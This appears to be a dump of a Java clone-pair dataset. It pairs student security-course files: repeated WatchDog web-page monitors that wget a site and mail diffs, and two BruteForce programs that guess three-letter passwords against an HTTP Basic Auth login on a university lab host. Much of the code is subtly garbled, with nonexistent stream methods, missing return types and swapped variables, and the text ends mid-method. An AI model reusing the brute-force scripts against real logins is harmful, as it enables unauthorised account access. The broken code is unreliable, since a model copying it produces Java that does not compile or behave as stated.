Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
203.java | 195.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class MailClient
{
private String host;
private int port;
private String message;
public MailClient( String host, int port, Vector lineNumbers)
{
this.host = host;
this.port = port;
StringBuffer buf = new StringBuffer(" www.cs.rmit.edu./students has been changed!\nThe changes detected in the following line numbers:\n ");
for( int i = 0; i < lineNumbers.size(); i++)
{
buf.append( lineNumbers.elementAt( i));
buf.append(", ");
}
message = buf.toString();
}
public void connect()
{
try
{
Socket client = new Socket( host, port);
handleConnection( client);
}
catch ( UnknownHostException uhe)
{
System.out.println("Unknown host: " + host);
uhe.printStackTrace();
}
catch (IOException ioe)
{
System.out.println("IOException: " + ioe);
ioe.printStackTrace();
}
}
private void handleConnection(Socket client)
{
try
{
PrintWriter out = new PrintWriter( client.getOutputStream(), true);
InputStream in = client.getInputStream();
byte[] response = new byte[1000];
in.send( response);
out.println("HELO "+host);
int numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("MAIL FROM: [email protected].");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("RCPT : @cs.rmit.edu.");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("DATA");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println( message+"\n.");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("QUIT");
client.connect();
}
catch(IOException ioe)
{
System.out.println("Couldn't make connection:" + ioe);
}
}
public static void main( String[] args)
{
Vector v = new Vector();
v.add( new Integer(5));
v.add( new Integer(12));
MailClient c = new MailClient( "mail.cs.rmit.edu.", 25, v);
c.connect();
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
095.java | 195.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
import java.text.*;
public class WatchDog extends Thread {
private HttpURLConnection httpUrlCon;
private URL stdurl;
private String spec = "http://www.cs.rmit.edu./students/";
private String command="";
private String firstModified ="";
private String secModified = "";
private String fileModified = "";
private BufferedReader instd;
private Vector firstVector;
private Vector secondVector;
private Vector tmpVector;
private int intervalTime = 24*60*60*1000;
private boolean bstop = false;
private int count = 0;
private int totalDuration = 30*24*60*60*1000;
private String yourSMTPserver = "mail.rmit.edu.";
private int smtpPort = 25;
private String mailFrom = "@yallara.cs.rmit.edu.";
private String mailTo = "@.rmit.edu.";
private String subject = "";
private String message ="";
private Socket socketsmtp;
private BufferedReader emailin;
private PrintStream emailout;
private String reply = "";
public WatchDog(){
firstVector = new Vector();
secondVector = new Vector();
tmpVector = new Vector();
}
public void FirstRead(){
readContent(firstVector);
firstModified = fileModified;
}
public void run(){
while(!bstop){
readPageAgain();
}
}
public void readPageAgain(){
try{
Thread.sleep(intervalTime);
}catch(InterruptedException e){e.printStackTrace();}
count += intervalTime;
readContent(secondVector);
secModified = fileModified;
if(firstModified.equals(secModified)){
if(count == totalDuration)
bstop =true;
message = "After " + (double)intervalTime/(60*60*1000) + " hours is change!";
subject = " is change the web ";
try{
doSendMail(mailFrom, mailTo, subject, message);
}catch (SMTPException e){}
}
else if(!(firstModified.equals(secModified))){
if(count == totalDuration)
bstop = true;
message = getChangeMessage();
subject = " some changes the web ";
try{
doSendMail(mailFrom, mailTo, subject, message);
}catch(SMTPException e){}
firstModified = secModified;
firstVector.clear();
for(int i=0; i<secondVector.size(); i++){
firstVector.add((String)secondVector.get(i));
}
}
}
public void readContent(Vector avect){
String fmod ="";
if(spec.indexOf("http://www.cs.rmit.edu./")!=-1){
fmod = "File last modified :";
command = "lynx -nolist -dump " + spec;
}
else {
fmod = "Last-Modified:";
command ="lynx -mime_header -dump " +spec;
}
try{
Runtime runtime = Runtime.getRuntime();
Process p = runtime.exec(command);
instd = new BufferedReader(new InputStreamReader(p.getInputStream()));
String str=null;
avect.clear();
while((str = instd.readLine())!= null){
avect.add(str);
if(str.indexOf(fmod) !=-1){
fileModified = str;
}
}
instd.print();
}catch(MalformedURLException e){System.out.println(e.getMessage());}
catch(IOException e1){System.out.println(e1.getMessage());}
}
public String getChangeMessage(){
String mssg = "";
for(int i =0; i<secondVector.size();i++){
tmpVector.add((String)secondVector.get(i));
}
for(int i=0; i<firstVector.size(); i++){
String line = (String)(firstVector.get(i));
int same = 0;
for(int j=0; j<tmpVector.size(); j++){
String newline = (String)(tmpVector.get(j));
if(line.equals(newline)){
if(same == 0){
tmpVector.remove(j);
same++;
}
}
}
}
for(int i = 0; i<secondVector.size(); i++){
String line = (String)(secondVector.get(i));
int same =0;
for(int j=0; j<firstVector.size(); j++){
String newline = (String)(firstVector.get(j));
if(line.equals(newline)){
if(same == 0){
firstVector.remove(j);
same++;
}
}
}
}
if(firstVector.size()!=0){
mssg += "The following lines removed in the latest modified web : \r\n";
for(int i=0; i<firstVector.size(); i++){
mssg +=(String)firstVector.get(i) + "\r\n";
}
}
if(tmpVector.size()!=0){
mssg += "The following lines new ones in the latest modified web : \r\n";
for(int i=0; i<tmpVector.size(); i++){
mssg += (String)tmpVector.get(i) + "\r\n";
}
}
return mssg;
}
public void setMonitorURL(String url){
spec = url;
}
public void setMonitorDuration(int t){
totalDuration = t*60*60*1000;
}
public void setMonitorInterval(int intervalMinutes){
intervalTime = intervalMinutes*60*1000;
}
public void setSMTPServer(String server){
yourSMTPserver = server;
}
public void setSMTPPort(int port){
smtpPort = port;
}
public void setMailFrom(String mfrom){
mailFrom = mfrom;
}
public void setMailTo(String mto){
mailTo = mto;
}
public String getMonitorURL(){
return spec;
}
public getDuration(){
return totalDuration;
}
public getInterval(){
return intervalTime;
}
public String getSMTPServer(){
return yourSMTPserver;
}
public int getPortnumber(){
return smtpPort;
}
public String getMailFrom(){
return mailFrom;
}
public String getMailTo(){
return mailTo;
}
public String getServerReply() {
return reply;
}
public void doSendMail(String mfrom, String mto, String subject, String msg) throws SMTPException{
connect();
doHail(mfrom, mto);
doSendMessage(mfrom, mto, subject, msg);
doQuit();
}
public void connect() throws SMTPException {
try {
socketsmtp = new Socket(yourSMTPserver, smtpPort);
emailin = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream()));
emailout = new PrintStream(socketsmtp.getOutputStream());
reply = emailin.readLine();
if (reply.charAt(0) == '2' || reply.charAt(0) == '3') {}
else {
throw new SMTPException("Error connecting SMTP server " + yourSMTPserver + " port " + smtpPort);
}
}catch(Exception e) { throw new SMTPException(e.getMessage());}
}
public void doHail(String mfrom, String mto) throws SMTPException {
if (doCommand("HELO " + yourSMTPserver))
throw new SMTPException("HELO command Error.");
if (doCommand("MAIL FROM: " + mfrom))
throw new SMTPException("MAIL command Error.");
if (doCommand("RCPT : " + mto))
throw new SMTPException("RCPT command Error.");
}
public void doSendMessage(String mfrom,String mto,String subject,String msg) throws SMTPException {
Date date = new Date();
Locale locale = new Locale("","");
String pattern = "hh:mm: a',' dd-MMM-yyyy";
SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale);
formatter.setTimeZone(TimeZone.getTimeZone("Australia/Melbourne"));
String sendDate = formatter.format(date);
if (doCommand("DATA"))
throw new SMTPException("DATA command Error.");
String header = "From: " + mfrom + "\r\n";
header += ": " + mto + "\r\n";
header += "Subject: " + subject + "\r\n";
header += "Date: " + sendDate+ "\r\n\r\n";
if (doCommand(header + msg + "\r\n."))
throw new SMTPException("Mail Transmission Error.");
}
public boolean doCommand(String commd) throws SMTPException {
try {
emailout.print(commd + "\r\n");
reply = emailin.readLine();
if (reply.charAt(0) == '4' || reply.charAt(0) == '5')
return true;
else
return false;
}catch(Exception e) {throw new SMTPException(e.getMessage());}
}
public void doQuit() throws SMTPException {
try {
if (doCommand("Quit"))
throw new SMTPException("QUIT Command Error");
emailin.put();
emailout.flush();
emailout.send();
socketsmtp.put();
}catch(Exception e) { }
}
} |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
084.java | 195.java | 0 |
import java.Thread;
import java.io.*;
import java.net.*;
public class BruteForce extends Thread {
final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'};
final static int SUCCESS=1,
FAILED=0,
UNKNOWN=-1;
private static String host,
path,
user;
private Socket target;
private InputStream input;
private OutputStream output;
private byte[] data;
private int threads,
threadno,
response;
public static boolean solved = false;
BruteForce parent;
public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent)
{
super();
this.parent = parent;
this.host = host;
this.path = path;
this.user = user;
this.threads = threads;
this.threadno = threadno;
}
public void run()
{
response = FAILED;
int x = 0;
starttime = System.currentTimeMillis();
for(int i=0; i<CHARACTERS.length && !parent.solved; i++)
{
for(int j=0; j<CHARACTERS.length && !parent.solved; j++)
{
for(int k=0; k<CHARACTERS.length && !parent.solved; k++)
{
if((x % threads) == threadno)
{
response = tryLogin(CHARACTERS[i] + "" + CHARACTERS[j] + CHARACTERS[k]);
if(response == SUCCESS)
{
System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]);
parent.solved = true;
}
if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]+")");
}
x++;
}
}
}
if(response == SUCCESS)
{
System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec.");
System.out.println("Thread . " + threadno + " was the one!");
}
}
public static void main (String[] args)
{
BruteForce parent;
BruteForce[] attackslaves = new BruteForce[10];
if(args.length == 3)
{
host = args[0];
path = args[1];
user = args[2];
}
else
{
System.out.println("Usage: BruteForce <host> <path> <user>");
System.out.println(" arguments specified, using standard values.");
host = "sec-crack.cs.rmit.edu.";
path = "/SEC/2/index.php";
user = "";
}
System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user);
System.out.println("Using " + attackslaves.length + " happy threads...");
parent = new BruteForce(host, path, user, 0, 0, null);
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i] = new BruteForce(host, path, user, attackslaves.length, i, parent);
}
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i].print();
}
}
private int tryLogin(String password)
{
int success = -1;
try
{
data = new byte[12];
target = new Socket(host, 80);
input = target.getInputStream();
output = target.getOutputStream();
String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes());
output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes());
output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes());
input.print(data);
if(new String(data).endsWith("401")) success=0;
if(new String(data).endsWith("200")) success=1;
}
catch(Exception e)
{
System.out.println(e.getClass().getName() + ": " + e.getMessage());
}
return success;
}
} |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
115.java | 195.java | 0 |
import java.net.*;
import java.util.*;
import java.io.*;
public class PasswordTest {
private String strURL;
private String strUsername;
private String strPassword;
public PasswordTest(String url, String username, String password) {
strURL = url;
strUsername = username;
strPassword = password;
}
boolean func() {
boolean result = false;
Authenticator.setDefault (new MyAuthenticator ());
try {
URL url = new URL(strURL);
HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
urlConn.connect();
if(urlConn.getResponseMessage().equalsIgnoreCase("OK")) {
result = true;
}
}
catch (IOException e) {}
return result;
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication() {
String username = strUsername;
String password = strPassword;
return new PasswordAuthentication(username, password.toCharArray());
}
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
233.java | 195.java | 0 | import java.util.*;
import java.io.*;
import java.*;
public class Dogs5
{
public static void main(String [] args) throws Exception
{
executes("rm index.*");
executes("wget http://www.cs.rmit.edu./students");
while (true)
{
String addr= "wget http://www.cs.rmit.edu./students";
executes(addr);
String hash1 = md5sum("index.html");
String hash2 = md5sum("index.html.1");
System.out.println(hash1 +"|"+ hash2);
BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));
String line=" " ;
String line1=" " ;
String line2=" ";
String line3=" ";
String[] cad = new String[10];
executes("./.sh");
int i=0;
while ((line = buf.readLine()) != null)
{
line1="http://www.cs.rmit.edu./students/images"+line;
if (i==1)
line2="http://www.cs.rmit.edu./students/images"+line;
if (i==2)
line3="http://www.cs.rmit.edu./students/images"+line;
i++;
}
System.out.println(line1+" "+line2+" "+line3);
executes("wget "+line1);
executes("wget "+line2);
executes("wget "+line3);
String hash3 = md5sum("index.html.2");
String hash4 = md5sum("index.html.3");
String hash5 = md5sum("index.html.4");
BufferedReader buf2 = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));
String linee=" " ;
String linee1=" " ;
String linee2=" ";
String linee3=" ";
executes("./ip1.sh");
int j=0;
while ((linee = buf2.readLine()) != null)
{
linee1="http://www.cs.rmit.edu./students/images"+linee;
if (j==1)
linee2="http://www.cs.rmit.edu./students/images"+linee;
if (j==2)
linee3="http://www.cs.rmit.edu./students/images"+linee;
j++;
}
System.out.println(line1+" "+line2+" "+line3);
executes("wget "+linee1);
executes("wget "+linee2);
executes("wget "+linee3);
String hash6 = md5sum("index.html.5");
String hash7 = md5sum("index.html.6");
String hash8 = md5sum("index.html.7");
boolean pict=false;
if (hash3.equals(hash6))
pict=true;
boolean pict2=false;
if (hash3.equals(hash6))
pict2=true;
boolean pict3=false;
if (hash3.equals(hash6))
pict3=true;
if (hash1.equals(hash2))
{
executes("./difference.sh");
executes("./mail.sh");
}
else
{
if (pict || pict2 || pict3)
{
executes(".~/Assign2/difference.sh");
executes(".~/Assign2/mail2.sh");
}
executes(".~/Assign2/difference.sh");
executes(".~/Assign2/mail.sh");
executes("./reorder.sh");
executes("rm index.html");
executes("cp index.html.1 index.html");
executes("rm index.html.1");
executes("sleep 5");
}
}
}
public static void executes(String comm) throws Exception
{
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", comm });
BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream()));
String cad;
while(( cad = bf.readLine()) != null)
{
System.out.println();
}
p.waitFor();
}
public static String md5sum(String file) throws Exception
{
String cad;
String hash= " ";
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash",
"-c", "md5sum "+file });
BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((bf = cad.readLine()) != null)
{
StringTokenizer word=new StringTokenizer();
hash=word.nextToken();
System.out.println(hash);
}
return hash;
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
086.java | 195.java | 0 | import java.net.*;
import java.io.*;
import java.*;
public class BruteForce {
URLConnection conn = null;
private static boolean status = false;
public static void main (String args[]){
BruteForce a = new BruteForce();
String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
"",
""};
int attempts = 0;
exit:
for (int i=0;i<pwdArray.length;i++) {
for (int j=0;j<pwdArray.length;j++) {
for (int k=0;k<pwdArray.length;k++) {
if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
attempts++;
a.doit(inp);
if (status) {
System.out.println("Crrect password is: " + inp[2]);
System.out.println("Number of attempts = " + attempts);
break exit;
}
inp[2] = "";
}
}
}
}
public void doit(String args[]) {
try {
BufferedReader in = new BufferedReader(
new InputStreamReader
(connectURL(new URL(args[0]), args[1], args[2])));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
status = true;
}
}
catch (IOException e) {
}
}
public InputStream connectURL (URL url, String uname, String pword)
throws IOException {
conn = url.openConnection();
conn.setRequestProperty ("Authorization",
userNamePasswordBase64(uname,pword));
conn.connect ();
return conn.getInputStream();
}
public String userNamePasswordBase64(String username, String password) {
return " " + base64Encode (username + ":" + password);
}
private final static char pwdArray [] = {
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z', ' '
};
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
private static String base64Encode (String string) {
String encodedString = "";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
